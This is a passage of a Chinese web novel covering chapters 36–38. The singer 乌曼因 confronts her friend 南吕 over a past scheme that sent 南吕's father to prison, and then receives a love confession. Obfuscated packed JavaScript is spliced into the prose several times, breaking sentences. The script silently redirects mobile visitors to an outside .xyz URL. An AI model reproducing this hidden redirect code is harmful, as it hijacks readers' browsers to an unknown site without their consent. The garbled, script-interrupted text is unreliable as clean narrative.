;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323463|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的手心冰凉,却握得很紧。 “我老公的彩礼,他已经出过了,”她声音不大,却让所有人都安静了下来,“就是我的学费。虽然不多,但在我最需要的时候给我了,总比落在其他人手上好。” 她转向叔叔和婶婶,眼神平静又冷漠:“至于公司的账,我们慢慢算。我妈当年怎么被逼走的,我会一笔一笔查清楚,别忘了,公司最初成立,还是我妈出钱采购的设备。我爸虽然进去了,但我还在。” 她顿了顿,一字一句地说:“我也是股东,是南家的人。” 一直在叔婶面前低眉顺眼、默默隐忍的老实人,突然爆发带来的震撼是巨大的。 叔叔婶婶僵在原地,张着嘴却一个字也吐不出来。 最后愤恨地转身上了楼,嘴里不干不净的,不能骂祖宗十八代那就骂南吕的妈,骂她教出了一个不省心的女儿,白眼狼。 爷爷奶奶唉声叹气,这头看看,那头看看,左右为难。只能先对南吕说:“你叔就是嘴巴坏,他不是那个意思。” “奶奶,你也看到了,叔叔婶婶他们在我送嫁礼上找事,就没想我好。”南吕说着,眼中蓄了泪,筛筛落下。 两个老人家顿时心疼了,也是,孙女一辈子就一次的婚礼。再大的事也该过了这两天再说。 儿子儿媳真是心里没数。 奶奶牵起她的手:“你叔没读过什么书,脑子不太好,你别跟他一般见识。” 南吕低下头,擦了擦泪:“好,我不跟他俩一般见识。” 她哄着两位老人,慢慢朝屋子里走去。 热闹看完了,院子里没了吵架的生力军,吃瓜群众们也陆续散去。 这场席算是真正结束了。帮工的厨子带着最后一丝锅气离开了,院子里空空荡荡。 大婶走的时候向乌曼因比了个大拇指,乌曼因回比了个ok的手势。 小case,不值一提。 她问乌曼因:“丫头你不回家吗?” 乌曼因道:“还有点事。” 南吕一个人走出房门的时候,见乌曼因独自一个人靠在椅背上看远处的山。 天有些阴沉,她第一次见什么表情都没有的乌曼因,哪怕是早就成为了大明星,一以贯之的亲和力也没有消失。可现在乌曼因坐在这里,又仿佛离得很远。 听到南吕的脚步声,乌曼因抬眼:“你爷爷奶奶呢?” “在房间里整理礼金呢,那些要记下来,都是人情。” 南吕领着乌曼因进她家屋子,坐在正厅里。 南方的乡下屋子,正对门挂着一副电子屏山水画,桌上摆着关公像。 里面没什么结婚的装饰,很素净。 难得的喜事落得如此模样,南吕神色黯淡,她长得娇弱,此时更是楚楚可怜。 要是quantum在这,绝对心疼地抱住她安慰一通,可惜在场只有绝望的直女乌曼因。 乌曼因靠在门框上,抬头看着渐黑的天气、蜷曲的乌云,微凉的风拂面而过,她意识到不太好,台风可能要来了。 台风怎么和人一样,该来的时候不来。 也没看南吕,她随便拆了颗巧克力放嘴里咬断,问:“和亲戚解决完了吧?” 南吕点点头,不明所以地抬起头。 “现在也没人了,接下来就算算我俩之间的账吧。”乌曼因叹口气,找了把竹椅,坐在她面前。 “你废那么大周章,又是找狗仔曝光我在黄钟县,又是请我吃席,就为了今天这出?”乌曼因拨了拨自己吵架吵得有点焉搭了的头发,生无可恋,“你家公司得有多值钱啊,值得你这么又争又抢的。” 36. 对峙 出名那么多年,乌曼因最熟悉的不是工作,而是狗仔。 说起来有些悲伤,毕竟工作可能会背叛她,但是狗仔永远不离不弃。 镜头一出现在她方圆十米她就闻到味了。 乌曼因倒也不是很想怀疑南吕,主要是这前不着村后不着店,南吕要是恼羞成怒把她丢这儿了怎么办。 奈何脑子它不受控制地在转。 原本就空荡、没什么人气的老旧屋子更静了,呼吸声微不可闻。 南吕的落寞变得僵硬。 再一看,她原本温婉的脸已经没有了刚才的柔弱,她抬起头,双眼如流火如铁锈般沉寂:“庞清、网管、王兴旺……那么多人知道你在黄钟县,你连朋友圈都发得肆无忌惮,为什么偏偏怀疑我?” “我朋友圈的人是不少啦,但只有你才那么坚持调侃我和李藏之是一对,”乌曼因诚实地说,“别总和狗仔提‘前情人’什么的,让我被男朋友误会了怎么办。” 折敛本来就不大自信,帮忙归帮忙,乌曼因可不想回去见到一只丧丧的小朋友。完美的女朋友就得把危机扼杀在萌芽期间。 南吕:“……” 嘴长在她身上,她爱说什么就是什么,而且那叫慧眼识珠。 对着眼前敏锐又迟钝的乌曼因,南吕忽然有些无力,狼来了说太多次,可这回狼真的来了。 “是李藏之告诉你的?”南吕问。 “我还没找到他,你为什么会觉得是他告诉我的?”乌曼因歪头。 她澄澈的眼睛毫不回避,清凌凌地告诉南吕,这确实是她自己得出的结论。 南吕从喉咙里发出了一道古怪的呻吟,像是笑、又像是在自嘲。 “小看你了啊。” 乌曼因没有真的生气,她随意地提起南吕对她未曾言明的利用,仿佛一点也不放在心上。 真不在意为什么要说出来呢。 如果没有接到李藏之那通电话,南吕不介意像每个达到目的的坏人一样分享自己的心路历程。 但南吕偏偏清楚,乌曼因和她的一举一动都在一个人的监视之下。 李藏之知道了。 乌曼因随口的一句话都像是延时凌迟,可能让李藏之的计划再加码,而她没信心可以反抗。 人果然不能动坏心思,她每次做坏事,结果都不怎么样。 然而乌曼因还在叭叭:“说说呗,你家公司到底多有钱啊?” 南吕心不在焉地回答:“虽然最近些年没落了,但估值十个亿还是有的。” 乌曼因“嘶”了一声。 亿万富豪竟在她身边。 乌曼因彻底放下了那丝被利用的微妙不爽,感叹:“别说你叔了,我要是你二大爷的表妹的女儿也得尝试争一争,跟我说说你接下来是怎么个操作法,没准我还能配合你。” 南吕默默地想,可惜这一切都要和她没有关系了。推断出最坏结局后她反倒放松下来。 “没什么,就是借用一下你的名声,我马上要和叔婶打官司了,‘著名歌手乌曼因支持我’这则消息就够我把事情闹大,占据舆论优势,”南吕知道自己应该继续装可怜博取同情的,可不知道为什么,她还是说了实话,“官司的结果不是最重要的,这个公司是村里的集体产业,股份大家都有,我想要破除上一辈的酒桌私人关系上位,就需要让我叔叔的名声差到谁都没法装睁眼瞎支持他的程度。” 天有些冷了,她身体后靠,双手指尖相触,笑着说出让叔婶身败名裂的计划。 乌曼因盯着她,盯了有一会儿,把南吕盯得怀疑自己脸上妆花了,才道:“这么多年了,你的手段还是那么上不得台面。” 南吕微笑着针锋相对:“只要达到目的不就好了。” “对我,这种招式是管用的,因为他们真的侵占了你的权力,你想借势借舆论,我无所谓。” 乌曼因站起来,俯下身,盯住她的眼睛:“但我更好奇,当年你是怎么说服李藏之出手,插手你家的事情的?” 南吕的笑容脱落了,然后寸寸皲裂。 “……你是什么时候知道的?” “你说你爸入狱那事?我一直知道。”乌曼因说,“我比你熟悉李藏之太多了,他行事毫无顾忌没错,但是对插手别人事情并不感兴趣。李藏之绝不会无缘无故针对你爸,除非,有人让他那么干。” 李藏之讨厌出门,更讨厌乌曼因身边的人。能让他违背习性踏出那扇门,干一件无论如何都出格的事情,背后一定有原因。 南吕看着乌曼因眼里的自己,突然一笑:“因为你啊。” “我?” 乐队成员总有喝酒撸串,一边畅谈人生、一边分享自己的原生家庭悲惨经历的时候,乌曼因听南吕说过她的家庭。 其实那个年代,会一门乐器的人家境一般都不差。 她的爸爸是老大,被养得没有王子命、得了王子病,家暴妻子,她好几次见到爸爸按着妈妈的头,往瓷缸水台上撞。 水台被撞裂了,血流了一地。 但爸爸又对她很好,家里富裕,他工作体面,在当地银行任职,她要什么都满足她,她想学吉他,她爸就给她买最好的吉他,请最好的老师。 妈妈也很好,但妈妈只是在爷爷奶奶公司工作的一个员工。 她夹在两人之间左右为难。 直到南吕的爸爸带着小三回了家,她本来就对爸爸无比厌烦,此时更是失望透顶。 一个刚成年的女孩子,力气比不上男人,更没有经济能力,怎么才能让碍眼的爸爸和小三消失,让她和妈妈的小家继续维持下去。 这是一个问题。 经历过几乎同样家庭遭遇的乌曼因爽快地把《歌手》地区预决赛后,凌云娱乐公司签约的资格让给了南吕。 她说:“他们主要签主唱,在我来之前你就是主唱,不算错嘛。拿着这笔签字费带你妈出来,离婚了也可以好好生活的。” 但南吕想,太逃避了,太慢了。 该退让的不是她和妈妈,该死的另有其人。 她把目光落到了黄钟县的都市传说身上,她听说过很多传闻,只要他出手,就能解决很多事。 恰巧,这个人就在酒吧里。 总是黏在乌曼因身边,像个跟屁虫。 在某天特意支开了乌曼因后,南吕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323464|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半信半疑地叫住了李藏之。 于是就有了震惊黄钟县的贪/污巨款案。 银行的系统是内网,只靠李藏之是不能做成全部计划的,一定得有一个内鬼才能成事。 那个内鬼就是银行员工的女儿。 南吕。 李藏之利用了系统的漏洞,引导她父亲挪用公款作为投资。 南吕爸爸入狱,从头到尾都以为是自己的贪念造成了一切;李藏之被限制出行,他不屑于解释自己还有个同谋。 南吕藏在更深处,接受着大家的同情。 “我只要‘恰巧’让他知道,你要牺牲自己的利益来成全我,他自然会出手的。” “就那么简单?” “对啊,就这么简单,”南吕脸上露出奇怪又得意的笑容, “我说了,李藏之喜欢你,不对,他爱你。只要有关于你,哪怕只是随便说说,他就会当真的。” 除开南吕的胡言乱语,时间隔得太久了,从南吕口中知道一个乌曼因早就知道真相的答案。好像也没什么特别的。 乌曼因觉得她得意的神情有点欠揍:“但你也没有想到,让李藏之出手的破坏力那么大吧。” “……”南吕不否认,“他就是个疯子。” 南吕一手策划了父亲的入狱,但唯一没想到的就是李藏之下手如此之狠。 他似乎天然对父亲这个角色抱有恨意。 所以这一次南吕吸取了教训,她可以借乌曼因的势,乌曼因不会计较,但决不能让李藏之发现分毫。 可惜赌输了。 乌曼因这人可真是……说她复杂吧,经常说话行事随心所欲,不像是过了脑子的样子;说她单纯吧,又敏锐得可怕。 只能说盛名之下无虚士。 在娱乐圈那种鱼龙混杂的地方要是不够聪明,可能早就被细细地切成臊子了。 乌曼因开口的那一刻,南吕就知道自己会被暗处如毒蛇的李藏之盯上,然后像他毁掉自己父亲一样,毁掉她的事业、人生。 她忽然觉得有点冷,兴致阑珊,抱住了自己的双臂,试图汲取一点微薄的暖意。 可惜只摸到一手鸡皮疙瘩。 其实她自己倒是无所谓,但如果quantum被她连累的话……会过意不去的。 不知道李藏之默默注视着这一切的乌曼因说道:“你请出魔鬼,就要接受魔鬼的代价。” “看来你也觉得他是魔鬼,不知道他听到这话有多伤心。” “魔鬼会伤心吗?” “他会为了你伤心。” 两人沉默下来。 南吕以为乌曼因会生气、会指责她利用李藏之,毕竟乌曼因对李藏之的爱护她亲眼所见。 乌曼因没有。 她依然看着她,用琉璃剔透的瞳孔看着她。 “南吕,那个时候你不信我,去找李藏之无可厚非。”乌曼因慢慢说,“可我已经从当年你看不起的、觉得帮不了你的人,成长为现在的乌曼因、你觉得可以借势埋葬他们的人。” “你明明已经比他们强大那么多了,但怎么还是喜欢用这种伤敌一千自损八百的方法?” 37. 规则外的天才 说起来也算乌曼因先挑衅的,所以南吕的愤怒可以想象。 那双总是写着温柔的眼睛此刻瞪得圆圆的,让她看起来几乎想要扑过来咬死乌曼因。 心情大概是和庞清刚接到乌曼因突如其来电话的感想是一模一样——你有病吧。 因为从小到大都不怎么生气,乌曼因的情绪比南吕稳定太多。 这让南吕更觉得只有自己是个疯女人。 乌曼因的心太大了,似乎永远不记仇,以至于让她记恨都成了一种偏爱。 有句话怎么说来着,每个人都会遇到混蛋,如果你觉得自己幸运从没遇到过,那说明你就是那个混蛋。 乌曼因就是那个没心没肺的混蛋。 南吕“呵呵”两声,忍了几分钟,终于还是没忍住。 她阴阳怪气地说:“你一个北京来的大小姐懂什么?我要是出生在你那样的家庭,供你学了那么多,结果你还要离家出走……你根本不知道一个人失去了所有是什么样的感觉。” 她急了她急了她急了,乌曼因想。 由于生活经历和南吕想象中的偏差太多,乌曼因一时不知道该怎么解释,她的嘴鼓起一个弧度,然后又吐出气:“我家里只教我过一种乐器,你猜是什么?” 南吕被她古怪的话题带偏:“吉他?” “不是啦,是小提琴。”乌曼因说除了一种几乎和地下音乐完全无关的乐器,“我爸是音乐学院小提琴教授,偶尔教我。其实我吉他是自学的、钢琴是自学的,自打我爸妈离婚后,他们谁都不会管我。哎,不要向往北京,北京就是自私也走在前面啦。” “……” “你恨你爸,但我其实不太恨,恨也要力气的。”乌曼因看着她说,“我得先把饭钱挣出来,把琴钱攒够。等终于能喘口气的时候,发现连恨他们的劲儿都没有了。而且我妈比你妈干脆多了,她也不要我,直接走了。” “谁让你要离家出走的……” 乌曼因又坐回了竹椅上,发出了“嘎吱”一声响:“所以我的青年时期一直都在为这个选择还债嘛,不过我不后悔。你呢,后悔吗?” 南吕沉默:“有点。” 乌曼因打了个响指:“Bingo,我不否认你刚才那句话的原因是,你说的对,如果你最开始受了和我一样的教育,或许就不会在最开始、以及现在,依然还对你爸保佑希望。” 成长于首都海淀区的少女和小县城的众人,似乎永远有一道不可逾矩的鸿沟。 乌曼因在黄钟县住那么久,差距她都看得见。 直到李藏之打破了她自己都没有察觉的傲慢。 “如果是你,你在我的处境,会怎么做?” “你不是知道答案吗?签约,带着妈妈离开,远走高飞。” “我说现在。” 乌曼因想了想:“还是同样的回答。” “?” “去找妈妈。”乌曼因摸了摸下巴,眼珠转一圈,“你最该找的帮手,不是李藏之、也不是我,而是你的妈妈。哪怕我只是来做客,随便听了一耳朵,都能听出你们村的人对你妈妈的推崇。她是个很厉害的人,而你明明已经有了她唯一缺少的依仗,也就是股份,相当于补全了她的短板……说实话,你干这些事和你妈说过没有?” “……” 显然是没有的。 “八年前,但凡你去找你妈妈,而不是自作主张去让李藏之出手,或许都不会那么被动吧。” 南吕沉思片刻,居然有些释然,像是赞同了乌曼因的话:“这么看,我确实是挺活该的。” “没事,反正我不计较,祝你拿下公司,成为亿万女总裁。” “那如果……成不了了呢?”南吕撑着头,问她。 “怎么忽然没自信了,别倒在离成功一步之遥的地方嘛,”乌曼因诧异,“干就要干到底。” 南吕避而不谈,拿出手机:“你不是在找李藏之的线索吗?我现在就可以给你。不过在此之前,能不能满足我一些好奇心,问个问题。” ……? ! 你说你有什么?! 乌曼因立刻坐直了,视线黏在她手机上:“你问,随便问。” “我一直以为你和李藏之是因为这件事上意识到两个人三观不合吵翻的,结果不是?”南吕好奇,“那你们是因为什么闹掰了。” 这可就说来话长了。 而且乌曼因自己都很难共情八年前的心境。 中二期的想法谁敢闻。 何况的两个中二。 乌曼因不想和第三个人讨论李藏之的事情,她知道他们对李藏之的看法。 既然什么都无法改变,那就不需要多费口舌。 她闭上眼,前几天和南吕在网吧的对话又浮现在脑海里。 南吕问:“所以你刚才想说什么?” 乌曼因“啊”了一声:“好像不用问了。” 这回轮到南吕用死鱼眼看着乌曼因。 “没什么,”乌曼因也意识到自己话说一半不道德,她靠在墙上,目光落到虚焦处,”我就想问你是不是还恨李藏之。对不起啊,我没看好他。” 这句“对不起啊”浓缩了女明星难得的道歉,以及后面隐含的“如果你有什么需要,都可以和我说”之类的意思。 南吕却愣了下,给了她一个从来没想过的回复:“……我为什么要恨他?” 他直接把你爸送进去了,没有他你可能还过着富家女的美好生活哎。 乌曼因用眼神表达疑问。 南吕说:“你会恨一个无差别杀伤的炸弹吗?” …… “呃,只能说是导火索吧……因为你们捅出来的篓子实在是太大了。为了钱,我那个时候只能去签约了凌云,是因为他们给的钱最多,刚好能填上篓子。” 乌曼因回忆:“但是签约了之后我就是凌云的员工了,没那么自由,我在公司的安排下要去省城、要去香港,总是出差不回黄钟县,那个时候他就爆发了,再加上姬无射那事……我俩说话越来越少,见面也没什么可说的。” 南吕沉默:“李藏之知道你为他做了那么多吗?” “以前我觉得他是知道的,毕竟他这么聪明,”乌曼因说,“但是后来想想,他可能不知道。钱对他来说来得太快了,他可能不觉得普通人为了钱去签下合同而离开是一种必要的付出,他只会觉得,哦,没人陪他玩了。” 李藏之并不觉得自己做了一件违反法律和公序良俗的事情。 他给她展示了他怎么黑掉监控,入侵内网,又是怎么制作宏引导南吕爸爸发现银行漏洞;利用南吕爸爸本身的贪念,为他量身打造了一个港股投资陷阱。 乌曼因手脚冰凉。 她第一次认真审视自己的室友,意识到李藏之绝不仅仅只有教她音乐时的认真可靠,他可怕的能力和他的不可控几乎是并生的。 只要他想,他能把他的智商用在任何地方。 在她知道这件事的一周内,乌曼因强行拉着李藏之把这些已经汇到境外的巨款全部取回来,由于过程不太合法,其中大部分是通过人肉走私背回来的现金,在李藏之的尽力配合下,只损失了5%左右的手续流通费。 千万级别的5%。 相比起本金来说似乎不值一提,但是这个漏洞依然是巨大的。 乌曼因一咬牙,以个人名义找上了凌云,签订了一个时间更长、也更受限制的条约。 好处是当场就能拿到一笔不菲的签字费。 当他们在凌晨悄悄把装满现金的箱子放在银行门口时,乌曼因的全身浸满了冷汗。 那是乌曼因觉得这辈子做过的最刺激的事。 在此之前她干过最坏的坏事是把家里老登的琴弦割了。 很刺激,希望绝对不要来第二次了。 再然后,乌曼因就成为了凌云旗下一名歌手,凌云会给乌曼因安排专业的音乐导师和歌唱导师,她也几乎不在酒吧里唱歌了,晚上也不会回杂物间。 李藏之不清楚乌曼因为什么要这样,他只知道乌曼因走得越来越远,活动越来越多。 渐渐把他抛到了身后。 李藏之是个疯子,这点乌曼因比王兴旺、比任何人都要清楚。 他是个疯子和他是个没有受过真正教育的孩子不冲突。 坚韧可怜,处于困窘的境地依然不自暴自弃,这不是李藏之。 撒谎成性、明知故犯、把自己的快乐建立在别人的痛苦之上,这才是李藏之。 他不仅智商高绝,而且在早年的经历中,不仅丧失了对金钱的感知,更在离群索居中失去生而为人的分寸。他没有接触过同龄人,没上过几天学,小学的时候就在外面被带着宣讲,接触的都是各类心怀鬼胎的成年人。 所有人把他当做工具,他自己也那么觉得。 更可怕的是,他能做到的太多了。 很多人是一怒之下一怒了一下,可李藏之不一样,在人类建造的钢铁森林里,在知道森林的运行原理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323465|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前就学了用更激烈的手段活下去。 他住在杂物间里不是无处可去,只是因为方便。 对他来说,在哪都是活着,那就哪里都可去。 一个漠视规则的人,是天然的罪犯。 不要紧,年轻的乌曼因想,他还小,我也还年轻。 我会很出名,赚到很多钱,我有足够时间慢慢教会他。 《歌手》夺冠后,乌曼因国民级爆火,凌云还算良心,看在她巨大的商业运作价值上,和她补签了一个合同。 这让她有财力在北京买下对门的两套房。 买下房子后,乌曼因想,她和李藏之总算不用睡杂物间了。 抱着这种得偿所愿的想法,她回了黄钟县。 …… “抱歉,如果没有我的这件事,李藏之也许可以在你面前装一辈子。” “装?”乌曼因说,“你也以为我接受不了他的本性?” 不是吗? “他的本性是什么,没有机会让我继续了解啊。我只认识了他两年,两年时间里他没有瞒过我任何事,做了错事也会在我的强压下改正道歉,谁知道给我一点时间,能不能让我带出一个真正可以融入正常社会生活的李藏之。” 乌曼因说:“你们总是视他为豺狼,到最后连他自己都信了,不给我任何一点机会。” 她看到的似乎不是眼前的南吕,而是许多年前,杂物间里时常响起的音乐,瘦弱的李藏之站在那里。 南吕有些懂了,对她和黄钟县的居民来说,李藏之是一个耳熟能详的、都市传说般的符号,他们可以崇拜、可以鄙视、可以利用;但是对误打误撞踏入黄钟县的外来人乌曼因而言,她见到的就是一个没成年的小鬼。 乌曼因对那个小鬼的滤镜,大概是她这辈子都理解不了的。 但就像是quantum永远坚定地选择她一样,世界上很多缘分本来也没有正确的答案。 “是他昨天给我打了电话,”南吕遵循了承诺,她将手机递给乌曼因,给她看一个通话记录里的陌生号码,“我再回拨时,发现他已经把我拉入黑名单,但我估计换一个手机号就能打通。他知道你在找他。” 乌曼因接过手机,一向镇定的她手腕细微颤抖,飞速记下了电话号码:“他跟你说了什么?” “大概就是让我离你远一点,说我不配当你的朋友之类的,”南吕抿了抿嘴,“他用Quantum威胁我。” 这种说话风格太熟悉了。乌曼因眼睛一亮,要不是这种风味她还认不出李藏之呢。 但入眼是南吕难以启齿的神情,手也不自觉地相互摩挲着,乌曼因就懂了:“放心,我会尽量阻止他出手的。” 南吕眼前一亮,还没等她别扭地措辞感谢,就听乌曼因道:“为了你再犯法的话多不值得。” “……” “我是想告诉你,”南吕把刚想说出口的感谢咽了下去,“呵呵”两声,“他威胁我的电话来得太及时了,我们在网吧的一举一动,可能全都被李藏之看在眼里,我有理由怀疑他在你手机上安装了后门。” 南吕等待着乌曼因出现慌张的神色 毕竟现代人手机被人监控和社会死亡有什么区别。 乌曼因拿出自己的手机,并没有出现南吕期待的激烈神色,反而若有所思:“照你这么说,他一直在看着我?是回黄钟县才盯上我、还是以前就这样了?” “我猜是北京。”南吕不负责任地随便说,见乌曼因一副想要轻轻放下的态度,她不甘心了,这两个人哪个太好过她都会不爽,“你不怕吗?” 乌曼因诚恳地说:“本来也没有对他的人品有太大信心。他就是欠骂,骂一顿他就不会给我装监视软件了,是我失误,没骂他。” 她的语气透露出一种轻松愉悦,突然得知李藏之活得好好的,没被关进监狱也没去缅北电诈,总之就是很欣慰。 还要什么自行车。 “……你打算怎么骂?” 怎么骂还需要思考吗? “李藏之你个小丫挺的孙贼,我知道你在听,”乌曼因眯起眼睛,对着手机说,“如果你今天不回我的话,我们就再也不用见面了。” 话刚说完,一道狰狞的闪电突然劈开云层,将屋内照得雪亮,随即又暗下去,紧接着,窗外骤然响起雷声。 乌曼因和南吕都吓了一跳,下意识看向屋外,却发现门口不知道什么时候站了一个人。 那人身形极高,瘦削,轮廓被闪电照得纤毫毕现。 38. 鸡同鸭讲 折敛手上驻着一把没撑开的伞,不知道什么时候悄然站在了门外,黑暗勾勒出了他的剪影。 不只是他,他的身后还站着一个长相清秀腼腆的男人。 尽管许久未见,但那身与小山村格格不入的正装,让乌曼因瞬间猜到了他的身份。 南吕的男朋友,Quantum。 乌曼因惊讶地看着这突兀的组合:“你怎么来了?” 这话是冲着折敛问的,不过她都快习惯折敛的神出鬼没了。 “我担心你嘛,我看到短信警告说台风来了,不安全,”折敛的鼻音带了一丝撒娇,有些嫌弃地抬眼,飞快地扫了一下身旁的男人,“我是找到大概位置后跟着他的车来的。” 他在路上遇到了一台挂着红色彩带的婚车,觉得台风天依然坚持着结婚的神经病应该不多,就一路跟着找到了这里。 “咦,开车来的吗?” 折敛点点头:“临时租了一辆。” 乌曼因很想给折敛一个熊抱。折敛总是能在最恰当的时候给她带来最需要的东西。 太哆来A梦了。 Quantum穿着西装,身形挺拔,面容清俊,眉眼间凝着一股书卷气的沉静。他向乌曼因点点头,仿佛没有听见两人的争吵一般,走进了室内。 按照黄钟县的习俗,他背起了南吕,屈膝蹲下身来,将对方的手臂环过自己肩头。 刚才还和她吵得正欢的南吕像是忽然变得很委屈,软了下来,焉耷耷地把头埋进他的肩颈里。 乌曼因被多年情侣的默契狗粮塞得牙酸,忍不住往折敛身边靠了靠,仿佛这样才可以抵挡一些精神伤害,顺便终于想起了这位老朋友的名字。 她说:“吴相干,新婚快乐,百年好合哦。” 吴相干笑了笑,说:“好久不见,南吕给你添麻烦了。” “她那点叫什么麻烦,”乌曼因摆摆手,“你送我点现场票我直接帮她摆平所有事。” 南吕“哼”了一声,含义大概是“你清高你了不起”。 吴相干和乌曼因都当没听到,吴相干说:“没问题,非常荣幸。” 他从口袋里拿出一张请柬:“门票暂时还没有,这是我和南吕的婚礼请柬,两天后在黄钟县上举办。南吕她肯定希望你来。” 南吕:“我没有!……” 乌曼因接过,又把她的话当耳旁风:“哎呀,我假期可能不太够……” 南吕:“爱来不来!” 乌曼因:“但是你的婚礼我肯定要来啊,收不收我和折敛当伴娘伴郎?收的话我们礼金就不给了,佣金结一下就成。” 南吕:“?!” 吴相干说:“好啊,我们的荣幸。”然后轻松背着骂骂咧咧的南吕离开。 南吕趴在他背上还不安分,含混地嘟囔着什么“混蛋”,两条细腿却老老实实环在他腰侧。 他把门推开,手护住南吕的膝盖,避免她磕碰到门框。 细微的动作让原本还在嘟囔的南吕忽然静了下来。她看了几秒,收敛了自己浑身的刺,轻轻地将头埋进他的肩颈深处。 门外是蜿蜒的山村野路,只有零星几户人家亮着灯。 乌曼因束手看着湿冷的山雾弥漫开来,将两人的身影逐渐吞没,最终融为一体,消失在了蜿蜒小径的尽头。 未婚夫妻走后,屋内安静下来,倒剩两个外人鸠占鹊巢。 他们也走出来,折敛带她去找自己租的车。 乌曼因捏了捏自己的手机看现在的时间,屏幕界面早已变暗,映出她有些怔忪的脸,后知后觉才觉得对着手机说话的样子很傻。 又想到折敛一直在门口围观,真的很社死。 “……你们在外面听了多久?”乌曼因有气无力地问。 “不久,你们说前情人的时候到的。” “……” 这个对话实在太过久远,乌曼因头脑风暴了好久,等理清楚才发现……那不就是全部都听到了吗? 乌曼因立刻伸出四根手指朝天,很有求生欲地解释:“我发誓,我真只是来找朋友的,不是前情人、不是前情人、不是前情人。” 话还没说完…… “轰隆——!” 伴随着天幕边一声巨响,积蓄已久的瓢泼大雨突然就倾盆而下,差点把她浇成一只落汤鸡。 台风夹带的大雨忽然就来了。 “……” 折敛及时撑开了伞,护住了女明星的脸面,雨点噼里啪啦地砸在伞面上。 “我知道,”折敛歪头,“我不会生气的。” 乌曼因感动。 折敛真是太乖了,弟弟自带的属性吗,嘻嘻。 但折敛和吴相干两人到底抱以一种什么样的心情在门口听了这么久的墙角。 两人扯头花有那么好看吗? 像是看穿了乌曼因的复杂神情,折敛解释:“他想进来,被我拦下了。” “……拦下他干嘛?” “我觉得你们好像有很多话要说,而且你骂得挺爽的,又没有落下风,就没让他进来。” 弟弟好像是个天然白切黑,不嘻嘻。 雨越下越大,折敛连忙护着乌曼因上了租来的车。 车门“咔哒”一声关上,狂躁的雨声被过滤成沉闷的、持续不断的背景音,但能看到豆大的雨珠吧嗒吧嗒打在玻璃上,迅速汇聚成一道道蜿蜒急促的水流,将窗外的世界扭曲成一片模糊晃动的灰蒙。 狭小的车内空间变得格外安静,能听到彼此轻微的呼吸声。吴相干背着南吕的身影早已离开,此刻这里只剩下他们两人。 雨下的好大,像祺贵人怒吼甄嬛你这个贱人那天那么大。 乌曼因和助理确认了一遍安全信息,一抬头,正撞进折敛漂亮的眼睛里。 折敛不急着开车,他靠在方向盘上,望着她。 他眼底亮晶晶的,带着细碎的欢喜。那愉悦感几乎要化为实质,从他微微弯起的眼角眉梢流淌出来。 如果不是在车上,他看起来想把他的毛茸茸脑袋挪过来蹭几下。 以前他见她也是高兴的,那张总是苍白冷淡的脸会一下子活泛起来,眼睛里有被点燃的小小火苗;但今天似乎格外不同,火苗变成了雀跃的火焰。是一种几乎要满溢出来的、藏也藏不住的极致快乐。 像是收到了什么期盼已久的礼物。 乌曼因看得有些发怔。 真奇怪,她又没有送他东西,早上还差点把他气哭了。 为了验证眼前这异常开心的折敛是不是真的,乌曼因迟疑地伸出手,真的轻轻摸了摸他那头看起来就很好揉的软发。他也没有抗拒,反而顺势蹭了蹭她的手心。 动作自然又亲昵。 “怎么这么开心?”乌曼因问,声音都不自觉放轻了,不想打扰他的快乐。 折敛凑得近了些:“你说我对你很重要,所以我很开心。” 乌曼因想问这是怎么得出的结论,只能想起似乎是和南吕说过一句维护折敛的话。 ……这就算是很重要吗? 但折敛似乎是这么相信的。 折敛望着她,特别认真地回答:“我喜欢你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323466|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 直球暴击!乌曼因受到了一万点伤害! 这就是“弟弟不需要很多钱,只需要很多爱”吗?几句随口说的怼人话,居然就能得到他的热烈回应。 乌曼因手不自然地顿住,抽回,面对折敛突如其来的告白,第一反应居然是想逃跑。 可在缩了缩,背碰到了靠背,她在车上无路可去。 身前是忽然变得直白的折敛。 乌曼因觉得头皮发麻,有一种事情即将脱离她掌控的不自在。 她维持着表面的镇定,不知道自己的耳廓已经染上了一层薄薄的绯色。 